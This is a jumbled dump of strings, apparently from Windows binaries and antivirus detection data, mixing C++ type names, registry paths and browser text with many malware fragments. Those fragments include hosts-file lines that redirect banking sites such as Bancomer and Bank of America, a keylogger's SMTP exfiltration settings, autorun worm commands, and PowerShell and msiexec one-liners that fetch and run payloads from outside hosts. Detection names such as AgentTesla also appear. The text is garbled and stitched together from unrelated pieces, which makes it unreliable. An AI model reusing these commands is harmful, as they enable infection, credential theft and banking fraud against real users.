.?AU?$root_implements@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$producer@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ElementTheme@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4Visibility@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Visibility@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@@impl@winrt@@
k{68ef98de-9d4f-489a-a11f-963c0a170386} = s 'auto'c:\windows\9u.iniurl.ini
c:\windows\system32\
c:\windows\system32\
@Windows@@@wil@@@stdx
c:\windows\system32\
http://vipp.sitegoogle.cn/superj.aspsoftware\microsoft\windows nt\currentversion\image file execution options/
c:\windows\system32\00
c:\documents and settings\all users\application data\microsoft\windows\mspdb
g%ci%ch.dllsoftware\microsoft\windows\currentversion\app paths\ie%cplo%ce.exe
'\internet explorer\niko\iexplore.exe\internet explorer\iexplore.exe %1 h%t%t%p%:%/%/defaults\winshutdown.vbs?tn=leizhendeskmate.nlsreg add hkcu\software\microsoft\windows\currentversion\policies\associations /v modriskfiletypesgpupdate /forcesoftware\kingsaft
\winlogon
b-9Windows Explorer cdrom optimizerGetDomenMakeItTopWWWReplace_urlW
c:\windows\system32\tmp0.
C(yukar(insert) (numlock) (ctrl)(pause) {esc} \windrivers.log\software\microsoft\windows\currentversion\runoncemailsendacilistacalisformkeydownsmtp_server=smtp_user=srv_file=winserv.exebacklogger@yahoo.combacklogger victim
t6SetWindowsHook
&m1&m2m2=m1="\system32\!\acad.fas")").copy("so.getfile
="E&xcluir arquivos originais"="&Tipos de arquivo"="Homepage da Layout do Brasil"c%%windows%system
\windows\system\sms.exe
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\
20070101user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; pcagent\downloaded program files\desktop.inihttp://www.
c:\windows\system32\svch
hc:\windows\system32\kernel32.exebbva banco continental - windows internet explorergpfslqbeh4znkrnpundqpmqpcbnhpn9kpmmpcyvbu6k
|Uc:\windows\system32\ccappp.exec:\arquivos de programas\scpad\scpibcfg.binc:\arquivos de programas\gbplugin\gbpsv.exec:/windows/system32/sshib.dll
7\system32\rundll32.exe 
\system32\wd
\system32
c:\windows\system32\
Windows\ShellNoRoam\MUICache
\C:\WINDOWS\system32\ca.exe
.software\microsoft\windows\currentversion\run
\system32\taskmdr.exe\system32\service.exe
microsoft windows
c:\documents and settings\kaktyc\software\microsoft\windows\currentversion\run
windowsservices
c:\windows\system32\smx
c:\windows\system32\smx
c:\windows\system32\smx
c:\windows\system32\smx
c:\windows\system32\smx
windows security alert
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
NT\CurrentVersion\Winlogon\Notify\%s
wen/rb.moc.oohay.seiticoeg//:ptthsua mensagem foi enviada \software\microsoft\windows\currentversion\internet settings\user agent\post platformmoc.liamtoh.wwwhnavigatehgilniamtcatnocthgilegassemdnes
\system32\drivers\etc\hosts
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
4arquivo corrompidohttp://www.webcardsanimados.com/conf.jpgc:\windows\system32\conf.txthttp://www.webcardsanimados.com/csrsr.exec:\windows\system32\csrsr.exehttp://www.webcardsanimados.com/explorer.exec:\windows\system32\explorer.exehttp://www.webcardsanimados.com/msngrs.exec:\windows\system32\msngrs.exehttp://www.webcardsanimados.com/process.exec:\windows\system32\process.exe
d032570a-5f63-4812-a094-87d007c23012system\currentcontrolset\control\bhoinitsoftware\microsoft\windows\currentversion\internet settings
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exehttp:
:\windows
\system32\
Software\Microsoft\Windows\CurrentVersion\explorer\AiSoSo/XQDBHOConfig.aspx?ver=TIdAntiFreeze
c:\windows\system32\
c:\windows\system\
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\
open%%windows\%sprv.imb%affildata
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\
\system32\drivers\txplatform.exe
copy/b%systemroot%\system32\autorun.cmd*.*echo[autorun]>autorun.inf
/active.asp?tgid=myself/cc.txt HTTP/1.1C:\WINDOWS\cc.exe
echo olha > C:\TEMP\blolorshutdown -r -f -t 10 -c "Erro Interno do WindowsMicrosoftOptimizationercmd.exe /c ren \System32\hahaha
\DelEx.batSOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system\
c:\windows\
c:\windows\
c:\windows\
\parameters %systemroot%\system32\
Software\Microsoft\Windows\CurrentVersion\Uninstall\Video ActiveX Object
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
software\microsoft\windows\currentversion\explorer\xqdbhoservics.exescvh0st.exe
with our actions andlive it, or live with it.system32\driverserror_in_params_id
2c:\windows\screenblazeupgrader.bathttp://www.screenblaze.com/
p\system32\regsvr32.exe adsldpb
\system32\adsldpb
2nt\currentversion\windows
<cfg>_windows_dir_\
software\microsoft\windows\currentversion\url
c:\windows\system\drives\xservice.exe40BC30FB040BE321F57B8987D017A52CB13382FA68F17FD96FC41558ED0A72A055E409518E3A6A8F28B80554E66CFE7B8DDC6BFF27B671B15B9C5FE475
ir%\system32\drivers\beep.sys
software\microsoft\windows\currentversion\runsubmit
software\microsoft\windows nt\currentversion\wow\keyboardcwmu
echo 189.201.65.65 www.bancomer.com.mx >> %windir%\system32\drivers\etc\hostsdel %windir%\system32\drivers\etc\hostsattrib +s +h +r %windir%\hosts
ipconfig /flushdnsecho 189.201.65.65 http://bbva.com >> %windir%\system32\drivers\etc\hosts
del%windir%\system32\hostsdel%windir%\hostsecho189.201.65.65www.bancomer.com.mx>>%windir%\system32\drivers\etc\hosts
\windows nt\currentversion\image file execution options
windows
\Sofware\Microsoft\Windows\CurrentVersion\Policies\Associations\
\Software\Microsoft\Windows\CurrentVersion\Policies\System\
\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
vcopyrundll.bat[url=file://\\%address%\admin$\system32\%worm%]\\%address%\admin$\system32\%worm%[/url]
C:\WINDOWS\Temp
mdmmm.vxdware\microsoft\windows\currentversion\explorer\shellexecutehooks
c:\windows\system32\
c:\windows\fonts\gth
c:\windows\fonts\gth
WindowsUpadte
Windows-gather
Software\Microsoft\Windows\Flereetagesejendom\Uninstall\supramarginalS
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
winsta0\Winlogonsystem
winsta0\WinlogonHijeckDllntdll.dll
Microsoft.Windows.Apps.PhoneUtilsProviders
Microsoft-Windows-Telephony-PhoneUtil
c:\windows\system32\
c:\windows\system32\
?windows
windows ;
hez adja meg a Windows-jelszav
WindowsCreateStringReference
|snsse|c:\windows|mzo03.exehttp/1.1
|traffic|adult|pharma|partner|pornouser-agent: mozilla/5.0 (windows; u; windows nt 5.1; en-us; rv:1.8.1.1):2082
software\microsoft\windows nt\currentversion\image file execution options\
\Microsoft\Search\Data\Applications\Windows\Windows.db-shm
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.db-shm
iniwrite ($dskpath & "\autorun.inf", "autorun", "shell\autoplay\command",if processexists("explorer.exe")=0 then shellexecute("explorer.exe", "", @windowsdir,"open")
C:\WINDOWS\sqmdat0
- Visualizador de imagens e fax do Windows.
earch\Data\Applications\Windows\Windows-gather.db
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows-gather.db
[bb.com.br] -  Banco do Brasil -  Windows Internet ExplorerS
tmrcentinela_c:\windows\system32\ieframe.ocatmreliminariniciocrear_autoruncopiar_autorun
h:%sYSTEMrOOT%\sYSTEM32\SvCHoSt.ExE -K NETSVCS
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
nal@Windows@@
Zeleter@VGetActivitiesByGroupAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
c:\windows\system32\
%subject%startprocessatwinlogonasynchronousstopprocessatwinlogoffnotify\
winlogon\mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)say by-bybest_search
Software\Microsoft\Windows\overgangsfaserne\Uninstall\efteruddannelserS
Software\Microsoft\Windows\preenabling\Uninstall\Dragsterne\Trafikassistents181S
WindowsFormsApp1.Form5.resourcesW
WindowsFormsApp1.fDrinklist.resourcesW
windows\usp10.dl\nprotect.sys-seturlstat.php?uid=vegazy
y360rp.exe360sd.exeekrn.exe\ssaq.exednfuu.3322.org/dy/qiang.exec:\windows\asex.exe
windows\messenger\messenger.exe.6666.8800.orgstat.wamme.cn/C8C/gl/cnzz5c.htmlcake.sunfacepizza.cn/888888.2288.org/ExeIni14/MessengerNew.txt.gamedanji.cn/ExeIni14/MessengerNew.txt1235633.3322.org/ExeIni14/MessengerNew.txtstat.wamme.cn/C8C/gl/cnzz5b.html/Start.htm?AreaID=NaN&MediaID=50011&AdNo=%d&OriginalityID=%d&Url=
www.bankofamerica.com  >>%windir%\system32\drivers\etc\hosts
software\microsoft\windows\currentversion\run
c:\\windows\\system32
8del C:\Windows\Boot.batshell\Auto\Command=...\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfileIdTCPServerExplorer.exe C:\Windows\System32\ctfmon_.exe
if"%appdata%"==""ifnotexist%systemroot%\system32\drivers\values.loggotokill
if"%appdata%"==""for/f"tokens=*"%%iin(%systemroot%\system32\drivers\values.log)doset%%i
start menu\programs\startupwindows\sys.cmdobjshell.run/f /v "favorites"09d}\shell\openhomepage
windows\help\svchost.ekkill /f /t /imwindows\help\csrs.e/c sc config rdsessmgrys-f.ys168.com/
Eqnew-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
'-propertytypestring-value'c:\windows\explorer.exec:\users\x90
rundll32.exejavascript:"\..\mshtml,runhtmlapplication";document.write();newactivexobject('wscript.shell').run('powershell.exe-executionpolicybypass-windowstylehidden-enc
System.Windows.Browser
WindowsFormsApp25newone1
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
USERDOMAIN=Windows11
COMPUTERNAME=WINDOWS11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
OS=Windows_NT
USERDOMAIN=Windows11
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
\system32
mozilla/5.0 (windows nt 6.1; wow64; trident//7.0; rv:11.0) like gecko
mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit//537.36 (khtml, like gecko) chrome//64.0.3282.140 safari//537.36 edge//17.17134
SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
SOFTWARE\Microsoft\Windows NT\CurrentVersion\msasn1
onecoreuap\windows\frameworkudk\warppal.cpp
WindowScrollTop
WindowScrollLefta
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Microsoft.WindowsLive.Sync" type="win32"/>
      <!-- Windows Threshold -->
      <!-- Windows BLUE -->
      <!--The ID below indicates application support for Windows Vista --> 
      <!--The ID below indicates application support for Windows 7 --> 
      <!--The ID below indicates application support for Windows 8 --> 
    <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    </asmv3:windowsSettings>
COMSPEC=C:\WINDOWS\system32\cmd.exe
PATH=C:\WINDOWS;C:\Program Files\Common Files\Microsoft Shared
SystemRoot=C:\WINDOWS
WindowsFeedbackFormBase
WindowsFeedback.Form.Show
WindowsFeedback.Form.Hide
windows/security_windows.gow
Qnopenprinterapath=c:\windows!#ALF:Trojan:MSIL/AgentTesla.OXHT!MTB
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C:\windows\kjmm.exe!#ALF:Trojan:MSIL/AgentTesla.KUUD!MTB
m|||http://|||80|||NULL|||NULL||||||NULL|||Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko||||||NULL|||NULL|||NULL|||!#ALFPER:Trojan:Win64/FusionDrive.B!dha
windows.immersivecontrolpanel_cw5n1h2txyewy
windowsudk.storage.registerschema
windows\system32
9NMS4SFNBGBHDead by Daylight Windowshttps://store-images.s-microsoft.com/image/apps.43677.13756572830160292.c481492c-e137-4220-98e4-20fa3b4d6b24.4c3ce096-3e7d-47a9-a3bf-dfcc4222132cen
9NMS4SFNBGBHDead by Daylight Windowshttps://store-images.s-microsoft.com/image/apps.43677.13756572830160292.c481492c-e137-4220-98e4-20fa3b4d6b24.4c3ce096-3e7d-47a9-a3bf-dfcc4222132cfr
9NMS4SFNBGBHDead by Daylight Windowshttps://store-images.s-microsoft.com/image/apps.43677.13756572830160292.c481492c-e137-4220-98e4-20fa3b4d6b24.4c3ce096-3e7d-47a9-a3bf-dfcc4222132cde
Microsoft Windows
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Pre Platform
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata-uI
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager-wO
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions-vD
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost,tA
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata,q9
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost,rK
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost,sD
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!PackageMetadata+oR
MicrosoftWindows.Client.FileExp_cw5n1h2txyewy!Global.FileExplorerExtensions+pC
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!PackageMetadata)VL
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.ModelManagementUX)YC
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.Feedback)[K
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!Global.DiscoveryOverlay)Zp
windows.appExtension
.Windows.CloudExperienceHost_cw5n1h2txyewy!Ap
Microsoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
callmoveandhide("\windowsservices.exe")
3b^windows.appExtension
3c^windows.protocol
3c^windows.appExtension
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Network-Security-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
92terminates processesmicrosoft.windows.cmdline.taskkilltaskkill.pdb!#HSTR:Trojan:Win32/C2Lop.gen!E3
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
9WZDNCRFHVN5Microsoft.WindowsCalculator_8wekyb3d8bbweMicrosoft Corporationx86, x64, ARM, ARM64
XP8CBJ40XLBWKXDocker.DockerForWindows.SettingsDocker, Inc
COMPUTERNAME=WINDOWS11
COMPUTERNAME=WINDOWS11
SystemRoot=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
USERNAME=WINDOWS11$
-windowstylel
?windowsdi
Windows
\fennec-windows
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
tfc:\windows\system32\cmd.exe/crobocopy"\\contractor-ind-fear-tone.trycloudflare.com@ssl\davwwwroot\re_28wsf"%temp%baw.wsf
c:\windows\system32\windowspowershell\v1.0\powershell.exeinvoke-webrequest"http://193.242.145.138/mid/w1/midjourney.msi"
c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://eduaiqi.uz/wordpress/room5.hta'
K\windows\system32\cmd.exe
	indows\system32\curl.exe1
gustomentemariofirmacostofichaplatahogarartesleyesaquelmuseobasespocosmitadcielochicomiedoganarsantoetapadebesplayaredessietecortecoreadudasdeseoviejodeseaaguas&quot;domaincommonstatuseventsmastersystemactionbannerremovescrollupdateglobalmediumfilternumberchangeresultpublicscreenchoosenormaltravelissuessourcetargetspringmodulemobileswitchphotosborderregionitselfsocialactivecolumnrecordfollowtitle>eitherlengthfamilyfriendlayoutauthorcreatereviewsummerserverplayedplayerexpandpolicyformatdoublepointsseriespersonlivingdesignmonthsforcesuniqueweightpeopleenergynaturesearchfigurehavingcustomoffsetletterwindowsubmitrendergroupsuploadhealthmethodvideosschoolfutureshadowdebatevaluesObjectothersrightsleaguechromesimplenoticesharedendingseasonreportonlinesquarebuttonim5341492e7469616d61736869742e72752f41394878342f-#
Dm<exec><command>$($env:systemdrive)\windows\
3\powershell.exe</command><arguments>-windowstylehidden-file$($env:systemdrive)\users\public\updates.ps1</arguments></exec>
jc:\windows\system32\windowspowershell\v1.0\powershell.execurl-urihttp://swoofliasyllenesliopa.com/temp/wnserve.exe-outfile$env:temp\
cmd.exep3osj\systemc:\windows\system32\cmd.exeescaneadosg/d/c^s^t^art^m^si^exec/^q-f^v"http://2t.pm:8080/ypypzbvcdvl8p2qfx/%computername%"^z^htb=^jf^g^eb^pshell32.dll%
xpowershell-windowstylehidden-command
WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
maskdesk.info/fileSystem32\notepad.exeTrojan:HTML/Redirector.ZPO!MTB
C:\WINDOWS\system32\drivers\etc\hostsUACDisableNotifyU
com.microsoft.windows.extensions.xaml.actionui.common
84^com.microsoft.windows.extensionpackage
85^com.microsoft.windows.extension.crossdeviceresume
com.microsoft.windows.extension.crossdeviceresume
86^com.microsoft.windows.extension.shelluihost
QWindowsIntegrationPlugin
gwindows
TCP/IP for WindowsE
TCP/IP for WindowsE
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! ProductId
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|Plus! VersionNumber
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|RegisteredOwner
Win32Registry|Software\Microsoft\Windows NT\CurrentVersion|ProductId
WindowsDirectory
Win32API|System Information Functions|GetWindowsDirectory
Microsoft Windows 11 Pro|C:\WINDOWS|\Device\Harddisk0\Partition3
Microsoft Windows 11 Pro
clientcore\windows\core\ntgdi\client\telemetry\gdihandleleaktracker.cxx
clientcore\windows\core\ntgdi\client\telemetry\gditelemetry.cxx
\windows\(
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDuplicateString
WindowsGetStringLen
WindowsCompareStringOrdinal
.\..\..\windows\system32\cmd.exe/cddmetxgxtovoly.bat"%systemroot%\system32\imageres.dll
"http://2t.pm:8080/akauua/ickz8drbfnkjfldtr8/qjz/%computername%"mw^qxrm=yj^x^hr^x^p%windir%\system32\shell32.dll
WindowsAppc
Windows.UndockedDevKit
\Windows\Temp\Magix.exe\
wow64_microsoft-windows-wimgapi_31bf3856ad364e35_none_a004799c730d16d5
wow64_microsoft-windows-win32k-settings_31bf3856ad364e35_none_72eac42e3c395681
wow64_microsoft-windows-win32k_31bf3856ad364e35_none_b3d4faf86433489b
wow64_microsoft-windows-win32subsystem_31bf3856ad364e35_none_4d9aa33efb0bad2d
wow64_microsoft-windows-wincredui_31bf3856ad364e35_none_b4b13fae04131b43
wow64_microsoft-windows-windowscodecext_31bf3856ad364e35_none_35a958e099be1889
wow64_microsoft-windows-windowscodec_31bf3856ad364e35_none_b77f11a26377cd78
wow64_microsoft-windows-windowsstorage-onecore_31bf3856ad364e35_none_7f8464f9601e4f0b
wow64_microsoft-windows-windowsuiimmersive_31bf3856ad364e35_none_19ebd805ec08580b
wow64_microsoft-windows-windowsupdateclient_31bf3856ad364e35_none_90d3d0144ed00fc0
c:\windows\system32\cmd.exe"/min/c"echovisualizacaoindisponivel>%userprofile%\\downloads\\notafiscal.pdf&&start%userprofile%\\downloads\\notafiscal.pdf&&
\windows\syswow64\werfault.exe
\windows\system32\lsass.exe
windows.firewallRules
system32
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
WINDOWS DEFENDER SECURITY CENTER
.?AU?$produce@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UDialogsPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UDialogsPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce_base@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@ULKDDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UILKDDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
